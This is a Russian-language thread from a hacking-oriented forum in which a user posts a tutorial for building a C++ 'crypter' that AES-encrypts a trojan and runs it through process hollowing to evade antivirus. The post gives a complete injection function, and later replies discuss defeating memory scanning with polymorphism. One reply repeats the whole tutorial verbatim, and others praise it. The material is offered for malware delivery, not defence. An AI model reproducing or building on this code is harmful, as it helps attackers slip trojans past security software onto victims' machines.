• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Пишем простой криптор c++

HideMan

Участник
Сообщения
12
Реакции
38
0 руб.
Telegram
Всем Hi друзья и подруги =)
Сегодня мы разберем простой криптор. Почему простой? Просто потому что большую часть мы будем делать ручками а не кодом. И так поехали.
В статье не буду опускаться до изучения синтаксиса, ООП, классов, структур и т.д. Эта статья рассчитана на новичков, но со знаниями основ. И еще, прошу не пилить меня за синтаксис Си, так как я в основном пишу на них и на плюсах сижу только для более легкого понимания моего кода.
Что-то мы заговорились.
Инструменты которые нам понадобятся:
  • WinHex (погуглите скачаете)
  • Visual Studio (2013-2019)
  • Немножко мозгов
  • Файл который будем криптовать
Создаем консольный проект в Visual Studio (я использую 2017 + Resharper), Обзываем его как называют самый ̶х̶у̶ч̶ш̶и̶й̶ лучший криптор,
Убираем лишний код который нам предлагают в main и приступаем к коду.
Первым делом создаем 2 файла: заголовочный AES.h и основной AES.cpp.
Код слишком большой для статьи по этому оба этих файл можете посмотреть по ссылке: https://hello-site.ru/share/AESh/ и https://hello-site.ru/share/AEScpp/
Далее заходим в WinHex, перетаскиваем мышкой в окно программы наш файл который мы хотим закриптовать и выбираем: Edit - Copy All - C source.
eb56951345401b801a561.png
копируем наш троян

Создаем в студии файл заголовка, назовем его "prog.h"
Вставляем туда наш скопированный код из WinHex
И ЗАПОМИНАЕМ КОЛИЧЕСТВО БАЙТ!
(листаем в самый верх и немного правим на unsigned char (смотрим скрин))
e1c83080eb3382416d9b5.png
В главном файле (тот где у нас находится точка входа main) добавляем в самый верх инклуды:
#include <iostream>
#include <cassert>
#include <fstream>
#include "AES.h"
#include "prog.h"
в метод мейн пишем:
6fb7e9fe111e430490c39.png
187392 меняем на свое количество байт.
key также пишем свой
Как видите по коду, мы шифруем наши байты с помощью ключа и записываем их в новый файл под названием test.exe
Запускаем программу и ждем пока создастся наш шифрованный файлик.



Двигаемся дальше.
Создаем второй проект (можно в том же солюшене, если вам удобно) снова закидываем два файла (или юзаем эти же если в том же солюшене) AES.h и AES.cpp.
Создаем снова заголовочный файл prog.h переходим в наш любимый WinHex,
закидывем наш зашифрованный файл test.exe, снова копируем байты и вставляем в студию
6d98be4fdb28ad457af9a.png
в .cpp добавляем инклуды:
#include <iostream>
#include "AES.h"
#include <cassert>
#include <cstring>
#include "prog.h"
#include <Windows.h>
#include <TlHelp32.h>
#include <direct.h>

и пишем функцию создания процесса и инжекта в него кода(нашей расшифрованной программы).



C++:
void CreateProc_Inject(const char *path, void* Image)
{
IMAGE_DOS_HEADER* DOSHeader;
IMAGE_NT_HEADERS* NtHeader;
IMAGE_SECTION_HEADER* SectionHeader;

PROCESS_INFORMATION PI;
STARTUPINFOA SI;

CONTEXT* CTX;

DWORD* ImageBase;
void* pImageBase;

int count;
DOSHeader = PIMAGE_DOS_HEADER(Image);
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);

if (NtHeader->Signature == IMAGE_NT_SIGNATURE) //Проверяем что это действительно PE файл.
{
  ZeroMemory(&PI, sizeof(PI));
  ZeroMemory(&SI, sizeof(SI));

  if (CreateProcessA(path, NULL, NULL, NULL, FALSE,
   CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // создаем процесс
             
  {
   CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
   CTX->ContextFlags = CONTEXT_FULL;

   if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
   {
    pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
     NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

    // записываем байты в процесс
    WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);


    for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
    {
     SectionHeader = PIMAGE_SECTION_HEADER(DWORD(NtHeader) + sizeof(IMAGE_NT_HEADERS) + IMAGE_SIZEOF_SECTION_HEADER * count);

     WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
      LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);

    }
    WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&pImageBase), 4, 0);
    CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(PI.hThread, LPCONTEXT(CTX));
    ResumeThread(PI.hThread);
    return;
   }
  }
}
}

В мейн добавляем дешифровку и запускаем наши байты:
f9d3abbbd8bbb1f10b442.png
Компилируем нашу программу, и идем сканировать. И о чудо!!!
2213365c7a60abe833846.png
Пробуем запустить, и снова чудо!
874626f7726510eb4419d.png
 

HideMan

Участник
Сообщения
12
Реакции
38
0 руб.
Telegram
Что по рантайму выходит?

Как и у любого другого криптора с такой схемой(90%)
Ав которые не сканят память обойдёт по рантайму 100%
Остальные нужно обходить другими способами, такими как полиморф хм, метаморфізм и т. Д. Статья бы получилась не очень вместительной для такой темы.
 

Jefferson

Местный
Сообщения
30
Реакции
65
0 руб.
Telegram
Как и у любого другого криптора с такой схемой(90%)
Ав которые не сканят память обойдёт по рантайму 100%
Остальные нужно обходить другими способами, такими как полиморф хм, метаморфізм и т. Д. Статья бы получилась не очень вместительной для такой темы.
Было бы, кстати, интересно почитать про полиморфизм.
 

HideMan

Участник
Сообщения
12
Реакции
38
0 руб.
Telegram

timbo

Новичок
Сообщения
5
Реакции
0
0 руб.
Всем Hi друзья и подруги =)
Сегодня мы разберем простой криптор. Почему простой? Просто потому что большую часть мы будем делать ручками а не кодом. И так поехали.
В статье не буду опускаться до изучения синтаксиса, ООП, классов, структур и т.д. Эта статья рассчитана на новичков, но со знаниями основ. И еще, прошу не пилить меня за синтаксис Си, так как я в основном пишу на них и на плюсах сижу только для более легкого понимания моего кода.
Что-то мы заговорились.
Инструменты которые нам понадобятся:
  • WinHex (погуглите скачаете)
  • Visual Studio (2013-2019)
  • Немножко мозгов
  • Файл который будем криптовать
Создаем консольный проект в Visual Studio (я использую 2017 + Resharper), Обзываем его как называют самый ̶х̶у̶ч̶ш̶и̶й̶ лучший криптор,
Убираем лишний код который нам предлагают в main и приступаем к коду.
Первым делом создаем 2 файла: заголовочный AES.h и основной AES.cpp.
Код слишком большой для статьи по этому оба этих файл можете посмотреть по ссылке: https://hello-site.ru/share/AESh/ и https://hello-site.ru/share/AEScpp/
Далее заходим в WinHex, перетаскиваем мышкой в окно программы наш файл который мы хотим закриптовать и выбираем: Edit - Copy All - C source.
eb56951345401b801a561.png
копируем наш троян

Создаем в студии файл заголовка, назовем его "prog.h"
Вставляем туда наш скопированный код из WinHex
И ЗАПОМИНАЕМ КОЛИЧЕСТВО БАЙТ!
(листаем в самый верх и немного правим на unsigned char (смотрим скрин))
e1c83080eb3382416d9b5.png
В главном файле (тот где у нас находится точка входа main) добавляем в самый верх инклуды:
#include <iostream>
#include <cassert>
#include <fstream>
#include "AES.h"
#include "prog.h"
в метод мейн пишем:
6fb7e9fe111e430490c39.png
187392 меняем на свое количество байт.
key также пишем свой
Как видите по коду, мы шифруем наши байты с помощью ключа и записываем их в новый файл под названием test.exe
Запускаем программу и ждем пока создастся наш шифрованный файлик.



Двигаемся дальше.
Создаем второй проект (можно в том же солюшене, если вам удобно) снова закидываем два файла (или юзаем эти же если в том же солюшене) AES.h и AES.cpp.
Создаем снова заголовочный файл prog.h переходим в наш любимый WinHex,
закидывем наш зашифрованный файл test.exe, снова копируем байты и вставляем в студию
6d98be4fdb28ad457af9a.png
в .cpp добавляем инклуды:
#include <iostream>
#include "AES.h"
#include <cassert>
#include <cstring>
#include "prog.h"
#include <Windows.h>
#include <TlHelp32.h>
#include <direct.h>

и пишем функцию создания процесса и инжекта в него кода(нашей расшифрованной программы).



C++:
void CreateProc_Inject(const char *path, void* Image)
{
IMAGE_DOS_HEADER* DOSHeader;
IMAGE_NT_HEADERS* NtHeader;
IMAGE_SECTION_HEADER* SectionHeader;

PROCESS_INFORMATION PI;
STARTUPINFOA SI;

CONTEXT* CTX;

DWORD* ImageBase;
void* pImageBase;

int count;
DOSHeader = PIMAGE_DOS_HEADER(Image);
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);

if (NtHeader->Signature == IMAGE_NT_SIGNATURE) //Проверяем что это действительно PE файл.
{
  ZeroMemory(&PI, sizeof(PI));
  ZeroMemory(&SI, sizeof(SI));

  if (CreateProcessA(path, NULL, NULL, NULL, FALSE,
   CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // создаем процесс
            
  {
   CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
   CTX->ContextFlags = CONTEXT_FULL;

   if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
   {
    pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
     NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

    // записываем байты в процесс
    WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);


    for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
    {
     SectionHeader = PIMAGE_SECTION_HEADER(DWORD(NtHeader) + sizeof(IMAGE_NT_HEADERS) + IMAGE_SIZEOF_SECTION_HEADER * count);

     WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
      LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);

    }
    WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&pImageBase), 4, 0);
    CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(PI.hThread, LPCONTEXT(CTX));
    ResumeThread(PI.hThread);
    return;
   }
  }
}
}

В мейн добавляем дешифровку и запускаем наши байты:
f9d3abbbd8bbb1f10b442.png
Компилируем нашу программу, и идем сканировать. И о чудо!!!
2213365c7a60abe833846.png
Пробуем запустить, и снова чудо!
874626f7726510eb4419d.png

а исходники можешь скинуть?
 

HARLEY QUIN

Участник
Сообщения
5
Реакции
1
0 руб.
Автору Большой +. Ни на одном форуме, кроме экспы нет такой детальной инструкции. Просто сделал мой день сегодня. Побольше таких полезностей.
 

Elephant (Слон)

Новичок
Сообщения
7
Реакции
0
0 руб.
Всем привет . Можете подсказать , какой нужен специалист который бы разбирался в браузерах типа гугл хром и так далее? за ранее спасибо !
 
Сверху Снизу